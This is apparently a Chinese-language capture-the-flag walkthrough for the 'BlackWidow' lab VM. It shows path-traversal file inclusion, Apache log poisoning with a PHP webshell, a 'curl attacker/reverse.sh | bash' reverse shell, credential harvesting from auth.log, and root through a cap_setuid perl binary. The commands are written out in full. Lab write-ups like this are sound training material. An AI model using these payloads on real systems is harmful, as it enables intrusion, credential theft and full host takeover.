BlackWidow

备注

[Linux VM] [Tested on VirtualBox] created by || 0xJin

⏲️ Release Date // 2021-05-07

✔️ MD5 // 1cc57898485241d95638f83111a442e9

☠ Root // 38

💀 User // 37

📝Notes // Hack and fun.

靶机启动

靶机 IP

192.168.56.121

nmap 信息搜集

Nmap scan report for 192.168.56.121
Host is up (0.00037s latency).
Not shown: 65526 closed tcp ports (reset)
PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 f8:3b:7c:ca:c2:f6:5a:a6:0e:3f:f9:cf:1b:a9:dd:1e (RSA)
|   256 04:31:5a:34:d4:9b:14:71:a0:0f:22:78:2d:f3:b6:f6 (ECDSA)
|_  256 4e:42:8e:69:b7:90:e8:27:68:df:68:8a:83:a7:87:9c (ED25519)
80/tcp    open  http       Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp   open  rpcbind    2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      49461/udp   mountd
|   100005  1,2,3      49789/tcp   mountd
|   100005  1,2,3      51488/udp6  mountd
|   100005  1,2,3      58375/tcp6  mountd
|   100021  1,3,4      35981/tcp   nlockmgr
|   100021  1,3,4      39103/udp   nlockmgr
|   100021  1,3,4      39461/udp6  nlockmgr
|   100021  1,3,4      45989/tcp6  nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
2049/tcp  open  nfs        3-4 (RPC #100003)
3128/tcp  open  http-proxy Squid http proxy 4.6
|_http-server-header: squid/4.6
|_http-title: ERROR: The requested URL could not be retrieved
35043/tcp open  mountd     1-3 (RPC #100005)
35981/tcp open  nlockmgr   1-4 (RPC #100021)
36125/tcp open  mountd     1-3 (RPC #100005)
49789/tcp open  mountd     1-3 (RPC #100005)

Web 服务 Port-80

尝试使用 /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 作为字典进行目录爆破，得到

[17:52:13] 301 -  315B  - /docs  ->  http://192.168.56.121/docs/
[17:52:13] 301 -  318B  - /company  ->  http://192.168.56.121/company/
[17:52:16] 301 -  313B  - /js  ->  http://192.168.56.121/js/
[17:59:01] 403 -  279B  - /server-status

在访问 http://192.168.56.121/company/ 的过程中，在网络流量中发现以下数据

<!-- =======================================================
* Template Name: Arsha - v3.0.3
* Template URL: https://bootstrapmade.com/arsha-free-bootstrap-html-template-corporate/
* Author: BootstrapMade.com
* License: https://bootstrapmade.com/license/
========================================================

We are working to develop a php inclusion method using "file" parameter - Black Widow DevOps Team.

-->

尝试对 /company/ 这个子目录进行爆破扫描

/.html                (Status: 403) [Size: 279]
/.php                 (Status: 403) [Size: 279]
/index.html           (Status: 200) [Size: 42271]
/assets               (Status: 301) [Size: 325] [--> http://192.168.56.121/company/assets/]
/forms                (Status: 301) [Size: 324] [--> http://192.168.56.121/company/forms/]
/changelog.txt        (Status: 200) [Size: 1175]
/Readme.txt           (Status: 200) [Size: 222]
/.php                 (Status: 403) [Size: 279]
/.html                (Status: 403) [Size: 279]
/started.php          (Status: 200) [Size: 42271]

尝试访问 /started.php?file=../../../../../etc/passwd

# http get http://192.168.56.121/company/started.php?file=../../../../../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
viper:x:1001:1001:Viper,,,:/home/viper:/bin/bash
_rpc:x:107:65534::/run/rpcbind:/usr/sbin/nologin
statd:x:108:65534::/var/lib/nfs:/usr/sbin/nologin

继续回顾上面得到的信息，发现一个链接 http://blackwidow/company/started.php

将这个路由添加到 /etc/hosts

192.168.56.121 blackwidow

备注

这里是否设置这个 hostname 其实都不会有什么影响

本地包含日志文件实现 webshell 部署

┌─[randark@parrot]─[~]
└──╼ $ http get http://192.168.56.121/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log
HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Encoding: gzip
Content-Length: 159
Content-Type: text/html; charset=UTF-8
Date: Sun, 25 Feb 2024 16:10:19 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.38 (Debian)
Vary: Accept-Encoding

......
192.168.56.102 - - [25/Feb/2024:11:10:14 -0500] "GET /company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 203 "-" "HTTPie/3.2.1"
192.168.56.102 - - [25/Feb/2024:11:10:16 -0500] "GET /company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log HTTP/1.1" 200 203 "-" "HTTPie/3.2.1"

尝试一下，可以通过 user-agent 将特定字符串写入日志文件，从而部署一个 webshell 进去

curl http://192.168.56.121/ --user-agent "<?php system($_GET['shell']); ?>"

然后

http get "http://192.168.56.121/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=cat+/etc/passwd"

在返回中就可以发现已经成功读取了 /etc/passwd 文件

尝试借助恶意脚本投送服务器实现反向 shell

┌─[randark@parrot]─[~]
└──╼ $ http get "http://192.168.56.121/company/started.php?file=../../../../../../../../../../../../../var/log/apache2/access.log&shell=curl+192.168.56.102/reverse.sh+|+bash"

User - www-data

┌─[randark@parrot]─[~]
└──╼ $ pwncat-cs -lp 9999
[00:26:56] Welcome to pwncat 🐈!
[00:27:00] received connection from 192.168.56.121:39342
[00:27:01] 192.168.56.121:39342: registered new host w/ db
(local) pwncat$ back
(remote) www-data@blackwidow:/var/www/html/company$ whoami
www-data

读取 SSH 认证日志

(remote) www-data@blackwidow:/var/backups$ cat auth.log | grep sshd
......
Dec 12 16:56:43 test sshd[29560]: Invalid user ?V1p3r2020!? from 192.168.1.109 port 7090
......

得到一串疑似

viper:?V1p3r2020!?

User - viper

┌─[randark@parrot]─[~]
└──╼ $ pwncat-cs viper@192.168.56.121
[00:48:05] Welcome to pwncat 🐈!
Password: ************
[00:48:11] 192.168.56.121:22: normalizing shell path
[00:48:12] 192.168.56.121:22: registered new host w/ db
(local) pwncat$ back
(remote) viper@blackwidow:/home/viper$ whoami
viper

flag - user

(remote) viper@blackwidow:/home/viper$ cat local.txt
d930fe79919376e6d08972dae222526b

环境探测

getcap -r / 2>/dev/null
/home/viper/backup_site/assets/vendor/weapon/arsenic = cap_setuid+ep
/usr/bin/perl =
/usr/bin/perl5.28.1 =
/usr/bin/ping = cap_net_raw+ep
/usr/lib/squid/pinger = cap_net_raw+ep

在其中发现了一个特殊的 cap_setuid 权限，并且为一个可接管文件 /home/viper/backup_site/assets/vendor/weapon/arsenic

分析利用方式

查看 /home/viper/backup_site/assets/vendor/weapon/arsenic 文件的形式

(remote) viper@blackwidow:/home/viper$ file /home/viper/backup_site/assets/vendor/weapon/arsenic
/home/viper/backup_site/assets/vendor/weapon/arsenic: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=36da142560b2aa57fcade932db83015f6f612052, stripped
(remote) viper@blackwidow:/home/viper$ /home/viper/backup_site/assets/vendor/weapon/arsenic --version

This is perl 5, version 28, subversion 1 (v5.28.1) built for x86_64-linux-gnu-thread-multi
(with 65 registered patches, see perl -V for more detail)

Copyright 1987-2018, Larry Wall

Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.

Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl".  If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.

那就很简单了，这个文件就是 perl 程序，直接利用就行

User - root

(remote) viper@blackwidow:/home/viper$ /home/viper/backup_site/assets/vendor/weapon/arsenic -e 'use POSIX qw(setuid); POSIX::setuid(0); exec"/bin/bash";'
root@blackwidow:~# whoami
root

flag - root

root@blackwidow:/root# cat root.txt


▄▄▄▄· ▄▄▌   ▄▄▄·  ▄▄· ▄ •▄     ▄▄▌ ▐ ▄▌▪  ·▄▄▄▄        ▄▄▌ ▐ ▄▌
▐█ ▀█▪██•  ▐█ ▀█ ▐█ ▌▪█▌▄▌▪    ██· █▌▐███ ██▪ ██ ▪     ██· █▌▐█
▐█▀▀█▄██▪  ▄█▀▀█ ██ ▄▄▐▀▀▄·    ██▪▐█▐▐▌▐█·▐█· ▐█▌ ▄█▀▄ ██▪▐█▐▐▌
██▄▪▐█▐█▌▐▌▐█ ▪▐▌▐███▌▐█.█▌    ▐█▌██▐█▌▐█▌██. ██ ▐█▌.▐▌▐█▌██▐█▌
·▀▀▀▀ .▀▀▀  ▀  ▀ ·▀▀▀ ·▀  ▀     ▀▀▀▀ ▀▪▀▀▀▀▀▀▀▀•  ▀█▄▀▪ ▀▀▀▀ ▀▪


Congrats!

You've rooted Black Widow!

0xJin - mindsflee
Follow on Instagram: 0xjiin
Follow on Twitter: 0xJin , @mindsflee


0780eb289a44ba17ea499ffa6322b335

靶机启动​

nmap 信息搜集​

Web 服务 Port-80​

本地包含日志文件实现 webshell 部署​

User - www-data​

读取 SSH 认证日志​

User - viper​

flag - user​

环境探测​

分析利用方式​

User - root​

flag - root​